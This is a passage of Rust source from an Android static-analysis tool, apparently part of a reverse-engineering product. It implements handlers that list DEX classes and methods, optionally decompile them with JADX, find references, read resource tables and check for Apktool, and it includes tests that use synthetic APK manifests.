.flat_map(|(kind, list)| { + list.iter().take(20_000).map(move |f| { + let id = d.fields.get(f.field_idx as usize); + json!({ + "name": id.map(|i| d.string(i.name_idx)).unwrap_or("?"), + "type": id.map(|i| dex::java_name(&d.type_desc(u32::from(i.type_or_proto)))).unwrap_or_default(), + "kind": kind, "access": dex::access_flags(f.access, "field"), "reference": d.field_ref(f.field_idx), + }) + }) + }) + .collect(); + let methods = method_rows(d, &cd); + let desc = d.class_name(c); + let source = (c.source_file_idx != dex::NO_INDEX).then(|| d.string(c.source_file_idx).to_string()); + let summary = format!( + "{} ({}) extends {}: {} fields, {} methods{}.", + dex::java_name(&desc), + dex_name, + if c.superclass_idx == dex::NO_INDEX { "nothing".into() } else { dex::java_name(&d.type_desc(c.superclass_idx)) }, + fields.len(), + methods.len(), + source.as_deref().map(|s| format!(", from {s}")).unwrap_or_default() + ); + let mut lims = warn_lims(&warnings); + if !cd.complete { + lims.push(Limitation::new("class_data_incomplete", "The class data could not be read completely; some members may be missing.")); + } + let b = ev(ctx, "android_class_show", &pkg, json!({"path": p.path, "class_name": p.class_name})) + .result(json!({ + "name": dex::java_name(&desc), "descriptor": desc, "dex": dex_name, + "access": dex::access_flags(c.access, "class"), + "superclass": (c.superclass_idx != dex::NO_INDEX).then(|| d.type_desc(c.superclass_idx)), + "interfaces": d.interfaces(c), "source_file": source, "annotations": d.annotations(c), + "fields": fields, "methods": methods, + })) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::complete(1)) + .location(Location::new("class", desc.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// android_method_show + +#[derive(Serialize)] +struct InsnRow { + offset: String, + text: String, + opcode: String, + units: u32, +} + +/// Java source of one class from JADX, or a reason it is missing. Never an error. +fn jadx_source(ctx: &Ctx<'_>, input: &Path, class_java: &str) -> (Value, Option) { + let settings = &ctx.session.settings; + let Some(jadx) = craft_anything_engines::locate("jadx", &settings.engines.tools, &settings.engine_store_dir()) else { + return ( + json!({"status": "unavailable"}), + Some(Limitation::new( + "jadx_not_installed", + "Java source was requested but JADX is not installed (Settings → Engines, the engine store, or PATH). The bytecode listing above is complete without it.", + )), + ); + }; + let out = match fresh_temp_dir("craft-anything-jadx") { + Ok(o) => o, + Err(e) => { + return (json!({"status": "failed", "error": e.message}), Some(Limitation::new("jadx_failed", "Could not create a temporary folder for JADX."))); + } + }; + let run = craft_anything_engines::jadx::run_single_class(&jadx, input, class_java, &out, ctx.cancel.clone()); + let result = match run { + Ok(o) if o.success => { + let simple = class_java.rsplit('.').next().unwrap_or(class_java); + let outer = simple.split('$').next().unwrap_or(simple); + match find_file(&out, &format!("{outer}.java"), 0) { + Some(f) => match std::fs::metadata(&f).map(|m| m.len()) { + Ok(n) if n <= 2 << 20 => match std::fs::read_to_string(&f) { + Ok(text) => (json!({"status": "ok", "engine": "jadx", "file": rel_to(&out, &f), "text": text}), None), + Err(e) => { + (json!({"status": "failed", "error": e.to_string()}), Some(Limitation::new("jadx_failed", "JADX's output could not be read."))) + } + }, + _ => ( + json!({"status": "failed", "error": "output larger than 2 MiB"}), + Some(Limitation::new("jadx_output_too_large", "JADX's output was larger than 2 MiB and was not attached.")), + ), + }, + None => ( + json!({"status": "failed", "error": "JADX produced no source file for this class", "stderr_tail": tail(&o.stderr_text())}), + Some(Limitation::new("jadx_no_output", "JADX ran but wrote no source for this class (older JADX versions lack --single-class).")), + ), + } + } + Ok(o) => ( + json!({"status": "failed", "exit_code": o.code, "stderr_tail": tail(&o.stderr_text())}), + Some(Limitation::new("jadx_failed", "JADX exited with an error; see java_source.stderr_tail.")), + ), + Err(e) => (json!({"status": "failed", "error": e.message}), Some(Limitation::new("jadx_failed", format!("JADX could not run: {}", e.message)))), + }; + let _ = std::fs::remove_dir_all(&out); + result +} + +fn tail(s: &str) -> String { + let n = s.chars().count(); + s.chars().skip(n.saturating_sub(2000)).collect() +} + +/// Find a file by name below `dir` (no symlinks, bounded depth and breadth). +fn find_file(dir: &Path, name: &str, depth: usize) -> Option { + if depth > 32 { + return None; + } + let entries = std::fs::read_dir(dir).ok()?; + for e in entries.flatten().take(10_000) { + let Ok(ft) = e.file_type() else { continue }; + let p = e.path(); + if ft.is_file() && e.file_name().to_string_lossy() == name { + return Some(p); + } + if ft.is_dir() + && let Some(f) = find_file(&p, name, depth + 1) + { + return Some(f); + } + } + None +} + +fn android_method_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: MethodParams = parse_params(params)?; + let pkg = load_pkg(ctx, p.path.as_deref(), true)?; + let (dexes, warnings) = parse_dexes(&pkg); + if dexes.is_empty() { + return Err(no_dex_error(&pkg)); + } + let (di, c) = find_class(&dexes, &p.class_name).ok_or_else(|| class_not_found(&dexes, &p.class_name))?; + let Some((dex_name, d)) = dexes.get(di) else { return Err(ToolError::internal("class index out of range")) }; + let cd = d.class_data(c); + let ov = overloads(d, &cd, &p.method_name); + if ov.is_empty() { + let names: Vec = cd.direct_methods.iter().chain(&cd.virtual_methods).take(200).map(|m| d.method_name(m.method_idx).to_string()).collect(); + return Err(ToolError::invalid(format!("{} has no method named {}", dex::java_name(&d.class_name(c)), p.method_name)) + .with_remediation("List the class's methods with android_class_show.") + .with_details(json!({"reason": "method_not_found", "methods": names}))); + } + let oi = p.overload_index.unwrap_or(0); + let m = *ov.get(oi).ok_or_else(|| { + ToolError::invalid(format!("overload_index {oi} is out of range; {} has {} overload(s)", p.method_name, ov.len())) + .with_details(json!({"overloads": ov.iter().map(|m| d.method_signature(m)).collect::>()})) + })?; + let mut lims = warn_lims(&warnings); + if ov.len() > 1 && p.overload_index.is_none() { + lims.push(Limitation::new( + "overload_chosen", + format!("{} has {} overloads; showing overload_index 0. Pass overload_index to pick another.", p.method_name, ov.len()), + )); + } + let class_desc = d.class_name(c); + let reference = d.method_ref(m.method_idx); + let code = d.code(m.code_off); + let (rows, tries, regs, complete) = match &code { + Some(code) => { + let (insns, complete) = dex_ops::decode(&code.insns, 200_000); + let rows: Vec = insns + .iter() + .map(|i| InsnRow { offset: format!("{:04x}", i.offset), text: d.format_insn(i), opcode: format!("{:#04x}", i.opcode), units: i.units }) + .collect(); + if !complete { + lims.push(Limitation::new("listing_incomplete", "Decoding stopped at an instruction that runs past the end of the code.")); + } + (rows, code.tries.clone(), Some((code.registers, code.ins, code.outs)), complete) + } + None => { + lims.push(Limitation::new( + "no_code", + if m.access & 0x500 != 0 { "This method is abstract or native: it has no bytecode in the DEX file." } else { "This method has no code item." }, + )); + (Vec::new(), Vec::new(), None, true) + } + }; + let (slice, cov) = page(&rows, p.offset, p.limit); + let listing: String = + slice.iter().filter_map(|r| Some(format!("{}: {}", r.get("offset")?.as_str()?, r.get("text")?.as_str()?))).collect::>().join("\n"); + let mut env = Environment::builtin(ctx.session.clean_room()); + let java = if p.java_source { + let (v, lim) = jadx_source(ctx, &pkg.input.path, &dex::java_name(&class_desc)); + if v.get("status").and_then(Value::as_str) == Some("ok") { + env = Environment { + clean_room: false, + engine: "builtin+jadx".into(), + engine_version: None, + host: craft_anything_evidence::host_triple(), + language_id: None, + }; + lims.push(Limitation::new( + "third_party_decompiler", + "The Java source comes from JADX, a third-party decompiler; it is an interpretation, the bytecode listing is the evidence.", + )); + } + lims.extend(lim); + v + } else { + json!({"status": "not_requested"}) + }; + let summary = format!( + "{} ({}): {} instructions{}{}.", + reference, + dex_name, + rows.len(), + if tries.is_empty() { String::new() } else { format!(", {} try block(s)", tries.len()) }, + if complete { "" } else { " (incomplete)" } + ); + let b = EvidenceBuilder::new("android_method_show", pkg.input.subject.clone(), env) + .params(json!({"path": p.path, "class_name": p.class_name, "method_name": p.method_name, "overload_index": oi, "java_source": p.java_source, "offset": p.offset, "limit": p.limit})) + .authority(Authority::OriginalFiles) + .result(json!({ + "class": class_desc, "dex": dex_name, "method": reference, "signature": d.method_signature(&m), + "access": dex::access_flags(m.access, "method"), "overload_index": oi, + "overloads": ov.iter().map(|m| d.method_signature(m)).collect::>(), + "registers": regs.map(|r| r.0), "ins": regs.map(|r| r.1), "outs": regs.map(|r| r.2), + "tries": tries, "instructions_total": rows.len(), "instructions": slice, "listing": listing, + "java_source": java, + })) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(cov) + .location(Location::new("path", pkg.input.path.display().to_string())) + .location(Location::new("method", reference)); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// android_class_users_find + +fn android_class_users_find(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ReferencesParams = parse_params(params)?; + let pkg = load_pkg(ctx, p.path.as_deref(), true)?; + let (dexes, warnings) = parse_dexes(&pkg); + if dexes.is_empty() { + return Err(no_dex_error(&pkg)); + } + let desc = dex::to_descriptor(&p.class_name); + const MAX_REFS: usize = 100_000; + let mut rows = Vec::new(); + let mut truncated = false; + for (name, d) in &dexes { + ctx.cancel.check()?; + let (refs, more) = dex::references(d, &desc, p.method_name.as_deref(), MAX_REFS.saturating_sub(rows.len())); + truncated |= more; + rows.extend(refs.into_iter().map(|r| json!({"dex": name, "caller": r.caller, "offset": format!("{:04x}", r.offset), "instruction": r.instruction, "kind": r.kind, "target": r.target}))); + } + let defined_in = find_class(&dexes, &desc).and_then(|(i, _)| dexes.get(i).map(|(n, _)| (*n).to_string())); + let callers: std::collections::BTreeSet<&str> = rows.iter().filter_map(|r| r.get("caller").and_then(Value::as_str)).collect(); + let (slice, cov) = page(&rows, p.offset, p.limit); + let what = match &p.method_name { + Some(m) => format!("{}.{m}", dex::java_name(&desc)), + None => dex::java_name(&desc), + }; + let summary = format!( + "{} reference(s) to {what} from {} method(s) across {} DEX file(s){}.", + rows.len(), + callers.len(), + dexes.len(), + match &defined_in { + Some(d) => format!("; defined in {d}"), + None => "; not defined in this package (framework or library class)".into(), + } + ); + let mut lims = warn_lims(&warnings); + lims.push(Limitation::new( + "static_references_only", + "Only direct bytecode references are found; reflection, JNI, string-built class names and code loaded at run time are not.", + )); + let mut cov = cov; + if truncated { + lims.push(Limitation::new("truncated", format!("stopped after {MAX_REFS} references"))); + cov.status = CoverageStatus::Partial; + } + let b = ev(ctx, "android_class_users_find", &pkg, json!({"path": p.path, "class_name": p.class_name, "method_name": p.method_name, "offset": p.offset, "limit": p.limit})) + .result(json!({"class": desc, "method_name": p.method_name, "defined_in": defined_in, "references_total": rows.len(), "callers": callers.len(), "references": slice})) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(cov) + .location(Location::new("class", desc.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// android_resources_read + +fn android_resources_read(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ResourcesParams = parse_params(params)?; + let input = static_input::load(ctx, p.path.as_deref(), MAX_APK)?; + let is_arsc = input.bytes.get(..2) == Some(&[0x02, 0x00]); + let pkg = if is_arsc { Pkg { input, zip: None, dexes: Vec::new(), warnings: Vec::new() } } else { load_pkg(ctx, p.path.as_deref(), false)? }; + let arsc_bytes: Vec = if is_arsc { + pkg.input.bytes.to_vec() + } else { + match member(&pkg, "resources.arsc") { + Some(Ok(b)) => b, + Some(Err(e)) => return Err(ToolError::new(ErrorCode::NotSupported, format!("resources.arsc could not be read: {e}"))), + None => { + return Err(ToolError::unsupported(format!("{} has no resources.arsc", pkg.input.name)) + .with_remediation("Some APKs (feature splits, resource-less libraries) carry no compiled resources.")); + } + } + }; + let table = arsc::parse(&arsc_bytes, arsc::Limits::default()).map_err(|e| format_err(e, "an Android resource table"))?; + // The table names the unqualified locale "", people call it "default". + let named = |l: &str| if l.is_empty() { "default".to_string() } else { l.to_string() }; + let wanted: BTreeSet<&str> = p.locale.iter().chain(&p.only_locales).map(|l| if l == "default" { "" } else { l.as_str() }).collect(); + let want = |l: &str| wanted.is_empty() || wanted.contains(l); + let filtered: Vec<&arsc::Entry> = + table.entries.iter().filter(|e| want(&e.locale)).filter(|e| p.type_name.as_deref().is_none_or(|t| e.type_name == t)).collect(); + let (slice, mut cov) = page(&filtered, p.offset, p.limit); + let present: BTreeSet<&str> = table.entries.iter().map(|e| e.locale.as_str()).collect(); + let locales: Vec = present.iter().map(|l| named(l)).collect(); + let not_found: Vec = wanted.difference(&present).map(|l| named(l)).collect(); + let mut capped = Vec::new(); + let strings = if p.with_strings { + let mut m = serde_json::Map::new(); + for (loc, list) in table.strings_by_locale() { + if !want(&loc) { + continue; + } + if list.len() > MAX_LOCALE_STRINGS { + capped.push(named(&loc)); + } + let obj: serde_json::Map = list.into_iter().take(MAX_LOCALE_STRINGS).map(|(k, v)| (k, Value::String(v))).collect(); + m.insert(named(&loc), Value::Object(obj)); + } + Value::Object(m) + } else { + Value::Null + }; + let mut lims = warn_lims(&table.warnings); + if !capped.is_empty() { + lims.push(Limitation::new( + "strings_capped", + format!("Only the first {MAX_LOCALE_STRINGS} strings of {} are listed; the rest are in entries (type_name string).", capped.join(", ")), + )); + } + if !not_found.is_empty() { + lims.push(Limitation::new("locales_not_found", format!("The app has no resources for {}.", not_found.join(", ")))); + } + let mut xml = Vec::new(); + for f in p.xml_files.iter().take(16) { + if is_arsc { + lims.push(Limitation::new("xml_needs_apk", "xml_files can only be decoded from an APK, not a bare resources.arsc.")); + break; + } + match member(&pkg, f) { + Some(Ok(b)) => match axml::parse(&b) { + Ok(doc) => xml.push(json!({"path": f, "xml": doc.to_xml(256 * 1024), "warnings": doc.warnings})), + Err(e) => xml.push(json!({"path": f, "error": e.to_string()})), + }, + Some(Err(e)) => xml.push(json!({"path": f, "error": e})), + None => xml.push(json!({"path": f, "error": "no such file in the APK"})), + } + } + if p.xml_files.len() > 16 { + lims.push(Limitation::new("xml_files_capped", "Only the first 16 xml_files were decoded.")); + } + if table.truncated { + lims.push(Limitation::new("truncated", "The table holds more entries than the decoder's limit; later entries are missing.")); + cov.status = CoverageStatus::Partial; + } + lims.push(Limitation::new("references_unresolved", "Values that point at other resources are shown as @0x… ids; look them up in this table's entries.")); + let summary = format!( + "{} package(s), {} resource values in {} locale(s) ({}); showing {} entr{}.", + table.packages.len(), + table.entries.len(), + locales.len(), + locales.iter().take(12).cloned().collect::>().join(", "), + slice.len(), + if slice.len() == 1 { "y" } else { "ies" } + ); + let b = ev( + ctx, + "android_resources_read", + &pkg, + json!({"path": p.path, "with_strings": p.with_strings, "locale": p.locale, "only_locales": p.only_locales, "type_name": p.type_name, "xml_files": p.xml_files, "offset": p.offset, "limit": p.limit}), + ) + .result(json!({ + "packages": table.packages, "global_strings": table.global_strings, "locales": locales, "locales_not_found": not_found, + "entries_total": table.entries.len(), "entries_matching": filtered.len(), "entries": slice, + "strings": strings, "xml": xml, + })) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(cov); + Ok(ToolOutput::evidence(b.build()?)) +} + +// --------------------------------------------------------------------------------------------- +// engines_apktool_check + +fn engines_apktool_check(ctx: &mut Ctx<'_>, params: Value) -> Result { + let _p: ClientParams = parse_params(params)?; + let settings = &ctx.session.settings; + let found = craft_anything_engines::locate("apktool", &settings.engines.tools, &settings.engine_store_dir()); + let mut lims = Vec::new(); + let (version, error) = match &found { + // A pinned install is apktool's jar, run with Java. + Some(path) => match super::external_disasm_tools::program_for(ctx, path) { + Err(e) => (None, Some(format!("{} (Apktool's jar runs on Java)", e.message))), + Ok((exe, pre)) => { + let cancel = ctx.cancel.clone(); + match craft_anything_platform::Process::new(&exe) + .args(&pre) + .arg("--version") + .timeout(Duration::from_secs(20)) + .stdout_cap(64 * 1024) + .stderr_cap(64 * 1024) + .cancel_when(move || cancel.is_cancelled()) + .label("apktool") + .run() + { + Ok(o) if o.success => (o.stdout_text().lines().map(str::trim).find(|l| !l.is_empty()).map(str::to_string), None), + Ok(o) => (None, Some(format!("exited with {:?}: {}", o.code, tail(&o.stderr_text())))), + Err(e) => (None, Some(e.message)), + } + } + }, + None => (None, None), + }; + if let Some(e) = &error { + lims.push(Limitation::new("version_probe_failed", format!("Apktool was found but `--version` failed: {e}"))); + } + let available = found.is_some() && error.is_none(); + let summary = match (&found, &version) { + (Some(p), Some(v)) => format!("Apktool {v} is available at {}. The built-in decoder is used by default and needs nothing installed.", p.display()), + (Some(p), None) => format!("Apktool was found at {} but did not report a version. The built-in decoder works without it.", p.display()), + (None, _) => { + "Apktool is not installed. That's fine: android_resources_read and android_package_show use REI Reverse Engineer's built-in decoders.".into() + } + }; + let b = builder(ctx, "engines_apktool_check", Subject { kind: "engine".into(), sha256: None, name: Some("apktool".into()) }, json!({})) + .result(json!({ + "available": available, "path": found, "version": version, "error": error, + "built_in_decoder": true, "default_decoder": "built-in", + "remediation": if found.is_none() { Some("Optional: install Apktool and set its path in Settings → Engines.") } else { None }, + })) + .summary(summary) + .confidence(Confidence::Observed) + .authority(Authority::OurRun) + .limitations(lims) + .coverage(Coverage::complete(1)); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use crate::Engine; + use craft_anything_testkit::android as fx; + use serde_json::json; + + fn apk() -> String { + craft_anything_testkit::temp_file("notes.apk", &fx::notes_apk()).to_string_lossy().into_owned() + } + + /// An APK whose manifest targets `target`, with one component for each export rule. + fn components_apk(target: i32) -> String { + use fx::AxNode::{End, Start}; + use fx::AxVal::{Bool, Str}; + let name = |v| fx::a("name", 0x0101_0003, Str(v)); + let exported = |v| fx::a("exported", 0x0101_0010, Bool(v)); + let perm = |v| fx::a("permission", 0x0101_0006, Str(v)); + let filter_action = "android.intent.action.VIEW"; + let manifest = fx::axml(&[ + Start("manifest", vec![fx::AxAttr { name: "package", res_id: None, val: Str("com.example.c") }]), + Start("uses-sdk", vec![fx::a("targetSdkVersion", 0x0101_0270, fx::AxVal::Int(target))]), + End("uses-sdk"), + Start("permission", vec![name("com.example.c.GUARD"), fx::a("protectionLevel", 0x0101_0009, fx::AxVal::Hex(2))]), + End("permission"), + Start("application", vec![]), + // Explicitly open. + Start("activity", vec![name(".Open"), exported(true)]), + Start("intent-filter", vec![]), + Start("action", vec![name(filter_action)]), + End("action"), + Start("category", vec![name("android.intent.category.BROWSABLE")]), + End("category"), + Start("data", vec![fx::a("scheme", 0x0101_0027, Str("https")), fx::a("host", 0x0101_0028, Str("example.com"))]), + End("data"), + End("intent-filter"), + End("activity"), + // Exported only by the old implicit rule. + Start("receiver", vec![name(".Implied")]), + Start("intent-filter", vec![]), + Start("action", vec![name(filter_action)]), + End("action"), + End("intent-filter"), + End("receiver"), + // Exported, behind a permission. + Start("service", vec![name(".Guarded"), exported(true), perm("com.example.c.GUARD")]), + End("service"), + // Private by default. + Start("service", vec![name(".Private")]), + End("service"), + // A provider with neither value: open only for very old targets. + Start("provider", vec![name(".Files"), fx::a("authorities", 0x0101_0018, Str("com.example.c.files"))]), + End("provider"), + // Disabled, but still listed. + Start("activity", vec![name(".Off"), exported(true), fx::a("enabled", 0x0101_000e, Bool(false))]), + End("activity"), + End("application"), + End("manifest"), + ]); + let zip = craft_anything_testkit::electron::zip_stored(&[("AndroidManifest.xml", &manifest)]); + craft_anything_testkit::temp_file("c.apk", &zip).to_string_lossy().into_owned() + } + + fn component<'a>(v: &'a serde_json::Value, name: &str) -> &'a serde_json::Value { + v["result"]["components"].as_array().unwrap().iter().find(|c| c["name"] == name).unwrap_or_else(|| panic!("no {name}: {v}")) + } + + #[test] + fn a_permission_on_the_application_guards_its_components() { + use fx::AxNode::{End, Start}; + use fx::AxVal::{Bool, Str}; + let name = |v| fx::a("name", 0x0101_0003, Str(v)); + let exported = fx::a("exported", 0x0101_0010, Bool(true)); + let perm = |v| fx::a("permission", 0x0101_0006, Str(v)); + let manifest = fx::axml(&[ + Start("manifest", vec![fx::AxAttr { name: "package", res_id: None, val: Str("com.example.c") }]), + Start("application", vec![perm("com.example.c.APP")]), + Start("activity", vec![name(".Plain"), exported.clone()]), + End("activity"), + Start("service", vec![name(".Own"), exported.clone(), perm("com.example.c.OWN")]), + End("service"), + End("application"), + End("manifest"), + ]); + let zip = craft_anything_testkit::electron::zip_stored(&[("AndroidManifest.xml", &manifest)]); + let path = craft_anything_testkit::temp_file("guarded.apk", &zip); + let e = Engine::new(crate::testing::session()); + let v = call(&e, "android_components_list", json!({"path": path})); + let plain = component(&v, "com.example.c.Plain"); + assert_eq!( + (&plain["who_can_reach"], &plain["permission"], &plain["permission_from_application"]), + (&json!("apps_with_permission"), &json!("com.example.c.APP"), &json!(true)) + ); + let own = component(&v, "com.example.c.Own"); + assert_eq!((&own["permission"], &own["permission_from_application"]), (&json!("com.example.c.OWN"), &json!(false))); + } + + #[test] + fn components_follow_the_export_rules_of_each_target_sdk() { + let e = Engine::new(crate::testing::session()); + // A modern target: the implicit rule no longer exports anything. + let v = call(&e, "android_components_list", json!({"path": components_apk(34)})); + assert_eq!(v["confidence"], "observed"); + let open = component(&v, "com.example.c.Open"); + assert_eq!((&open["reachable_from_outside"], &open["who_can_reach"], &open["export_source"]), (&json!(true), &json!("any_app"), &json!("explicit"))); + let f = &open["intent_filters"][0]; + assert_eq!(f["actions"][0], "android.intent.action.VIEW"); + assert_eq!(f["categories"][0], "android.intent.category.BROWSABLE"); + assert_eq!(f["data"][0], "scheme=https host=example.com"); + assert_eq!(component(&v, "com.example.c.Implied")["reachable_from_outside"], false); + let guarded = component(&v, "com.example.c.Guarded"); + assert_eq!((&guarded["who_can_reach"], &guarded["permission_protection_level"]), (&json!("apps_with_permission"), &json!("0x2"))); + let private = component(&v, "com.example.c.Private"); + assert_eq!((&private["who_can_reach"], &private["export_source"]), (&json!("own_app_only"), &json!("default_not_exported"))); + assert_eq!(component(&v, "com.example.c.Files")["reachable_from_outside"], false); + assert_eq!(component(&v, "com.example.c.Off")["disabled_in_manifest"], true); + assert_eq!(v["result"]["by_kind"]["service"]["total"], 2); + let lims = v["limitations"].as_array().unwrap(); + for code in ["implicit_export_rules", "manifest_only", "missing_exported_attribute", "disabled_components"] { + assert!(lims.iter().any(|l| l["code"] == code), "{code}: {lims:?}"); + } + assert!(lims.iter().find(|l| l["code"] == "implicit_export_rules").unwrap().to_string().contains("SDK 34")); + + // Below 31 intent filters export; up to 16 providers do too. + let v = call(&e, "android_components_list", json!({"path": components_apk(30)})); + let implied = component(&v, "com.example.c.Implied"); + assert_eq!((&implied["reachable_from_outside"], &implied["export_source"]), (&json!(true), &json!("implied_by_intent_filter"))); + assert_eq!(component(&v, "com.example.c.Files")["reachable_from_outside"], false); + let v = call(&e, "android_components_list", json!({"path": components_apk(16)})); + let files = component(&v, "com.example.c.Files"); + assert_eq!((&files["reachable_from_outside"], &files["export_source"]), (&json!(true), &json!("default_for_old_target_sdk"))); + } + + #[test] + fn components_filter_and_page() { + let e = Engine::new(crate::testing::session()); + let p = components_apk(34); + let v = call(&e, "android_components_list", json!({"path": p, "kind": "service"})); + assert_eq!(v["result"]["matching"], 2); + assert_eq!(v["result"]["total"], 6); + let v = call(&e, "android_components_list", json!({"path": p, "reachable_only": true})); + assert!(v["result"]["components"].as_array().unwrap().iter().all(|c| c["reachable_from_outside"] == true)); + assert_eq!(v["result"]["matching"], v["result"]["reachable_from_outside"]); + let v = call(&e, "android_components_list", json!({"path": p, "limit": 2, "offset": 1})); + assert_eq!(v["result"]["components"].as_array().unwrap().len(), 2); + assert_eq!(v["coverage"]["next_offset"], 3); + assert!(!call_err(&e, "android_components_list", json!({"path": p, "kind": "widget"})).message.is_empty()); + + // The shared sample app works too; a bare DEX and an APK with no manifest don't. + let v = call(&e, "android_components_list", json!({"path": apk()})); + assert_eq!(v["result"]["total"], 3); + let dex = craft_anything_testkit::temp_file("c.dex", &fx::notes_dex()); + assert!(call_err(&e, "android_components_list", json!({"path": dex})).message.contains("no manifest")); + let zip = craft_anything_testkit::electron::zip_stored(&[("readme.txt", b"hi")]); + let empty = craft_anything_testkit::temp_file("e.apk", &zip); + assert!(call_err(&e, "android_components_list", json!({"path": empty})).message.contains("no AndroidManifest")); + let zip = craft_anything_testkit::electron::zip_stored(&[("AndroidManifest.xml", b"junk")]); + let bad = craft_anything_testkit::temp_file("b.apk", &zip); + assert!(!call_err(&e, "android_components_list", json!({"path": bad})).message.is_empty()); + } + + #[test] + fn package_facts() { + let e = Engine::new(crate::testing::session()); + let v = call(&e, "android_package_show", json!({"path": apk()})); + let r = &v["result"]; + assert_eq!(r["package"], "com.example.notes"); + assert_eq!(r["version_code"], "42"); + assert_eq!(r["manifest"]["uses_permissions"][1], "android.permission.CAMERA"); + assert_eq!(r["manifest"]["components"].as_array().unwrap().len(), 3); + assert_eq!(r["signing"]["schemes"], json!(["v1", "v2", "v3"])); + assert_eq!(r["signing"]["v1"][0]["certificates"][0]["subject"], "CN=Craft Test, O=Craft Org"); + let sha = &r["signing"]["v1"][0]["certificates"][0]["sha256"]; + assert_eq!(&r["signing"]["signing_block"]["signers"][0]["certificates"][0]["sha256"], sha); + assert_eq!(r["dex"].as_array().unwrap().len(), 2); + assert_eq!(r["dex"][0]["classes"], 2); + assert_eq!(r["native_libraries"]["arm64-v8a"][0]["name"], "libnotes.so"); + assert!(r["manifest_xml"].as_str().unwrap().contains("= 3); + assert!(v["summary"].as_str().unwrap().contains("cryptographically VERIFIED"), "{}", v["summary"]); + + // A tampered APK: signatures stay well-formed but every content digest must fail. + let bad = craft_anything_testkit::temp_file("bad.apk", &fx::signed_apk(true)); + let vb = call(&e, "android_package_show", json!({"path": bad})); + let rb = &vb["result"]; + assert_eq!(rb["signing"]["signing_block"]["signers"][0]["verification"]["digest_matches"], false); + assert_eq!(rb["signing"]["signing_block"]["signers"][0]["verification"]["verified"], false); + } + + #[test] + fn classes_methods_and_references() { + let e = Engine::new(crate::testing::session()); + let path = apk(); + let s = call(&e, "android_classes_find", json!({"path": path, "query": "notes"})); + assert_eq!(s["result"]["matches"], 3); + let page = call(&e, "android_classes_find", json!({"path": path, "limit": 1})); + assert_eq!(page["coverage"]["next_offset"], 1); + let c = call(&e, "android_class_show", json!({"path": path, "class_name": "com.example.notes.Util"})); + let methods = c["result"]["methods"].as_array().unwrap(); + assert_eq!(methods.len(), 2); + assert_eq!(methods[1]["overload_index"], 1); + let m = call(&e, "android_method_show", json!({"path": path, "class_name": "Lcom/example/notes/MainActivity;", "method_name": "onCreate"})); + assert_eq!(m["result"]["instructions"][0]["text"], "const-string v0, \"Hello, Craft!\""); + assert!(m["result"]["listing"].as_str().unwrap().contains("invoke-super {v1, v2}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V")); + assert_eq!(m["result"]["java_source"]["status"], "not_requested"); + let ov = call(&e, "android_method_show", json!({"path": path, "class_name": "com.example.notes.Util", "method_name": "log", "overload_index": 1})); + assert_eq!(ov["result"]["signature"], "public static void log(int)"); + let pick = call(&e, "android_method_show", json!({"path": path, "class_name": "com.example.notes.MainActivity", "method_name": "pick"})); + assert_eq!(pick["result"]["tries"][0]["handlers"][0]["exception"], "Ljava/lang/RuntimeException;"); + let r = call(&e, "android_class_users_find", json!({"path": path, "class_name": "com.example.notes.Util", "method_name": "log"})); + assert_eq!(r["result"]["references_total"], 3, "{}", r["result"]); + assert!( + r["result"]["references"] + .as_array() + .unwrap() + .iter() + .any(|x| x["dex"] == "classes2.dex" && x["caller"] == "Lcom/example/notes/extra/Helper;->go()V") + ); + assert_eq!(r["result"]["defined_in"], "classes.dex"); + let err = call_err(&e, "android_class_show", json!({"path": path, "class_name": "com.example.Missing"})); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::BadInput); + let err = call_err(&e, "android_method_show", json!({"path": path, "class_name": "com.example.notes.Util", "method_name": "log", "overload_index": 5})); + assert!(err.message.contains("out of range")); + // A bare DEX works too. + let dex = craft_anything_testkit::temp_file("classes.dex", &fx::notes_dex()); + let d = call(&e, "android_classes_find", json!({"path": dex})); + assert_eq!(d["result"]["matches"], 2); + } + + #[test] + fn java_source_without_jadx_is_a_limitation() { + let mut s = crate::testing::session(); + s.settings.engines.tools.jadx = Some("/nonexistent/jadx".into()); + s.settings.engines.store_dir = Some("/nonexistent-store".into()); + let e = Engine::new(s); + let path = apk(); + let m = call(&e, "android_method_show", json!({"path": path, "class_name": "com.example.notes.Util", "method_name": "log", "java_source": true})); + let status = m["result"]["java_source"]["status"].as_str().unwrap(); + // Either JADX is genuinely on PATH on this machine or it is reported as unavailable. + assert!(status == "unavailable" || status == "ok" || status == "failed", "{status}"); + if status == "unavailable" { + assert!(m["limitations"].as_array().unwrap().iter().any(|l| l["code"] == "jadx_not_installed")); + } + } + + #[test] + fn resources() { + let e = Engine::new(crate::testing::session()); + let path = apk(); + let r = call(&e, "android_resources_read", json!({"path": path, "xml_files": ["res/layout/main.xml", "res/missing.xml"]})); + assert_eq!(r["result"]["locales"], json!(["default", "fr"])); + assert_eq!(r["result"]["strings"]["fr"]["greeting"], "Bonjour"); + assert_eq!(r["result"]["strings"]["default"]["app_name"], "Notes"); + assert!(r["result"]["xml"][0]["xml"].as_str().unwrap().contains("android:text=\"@0x7f010001\"")); + assert!(r["result"]["xml"][1]["error"].is_string()); + let fr = call(&e, "android_resources_read", json!({"path": path, "locale": "fr", "type_name": "string"})); + assert_eq!(fr["result"]["entries_matching"], 2); + assert!(fr["result"]["strings"].get("default").is_none()); + // several locales in one call, each its own table; one the app lacks is named + let two = call(&e, "android_resources_read", json!({"path": path, "only_locales": ["default", "fr"], "type_name": "string"})); + assert_eq!(two["result"]["strings"]["fr"]["greeting"], "Bonjour"); + assert_eq!(two["result"]["strings"]["default"]["app_name"], "Notes"); + assert_eq!(two["result"]["locales_not_found"], json!([])); + let some = call(&e, "android_resources_read", json!({"path": path, "locale": "fr", 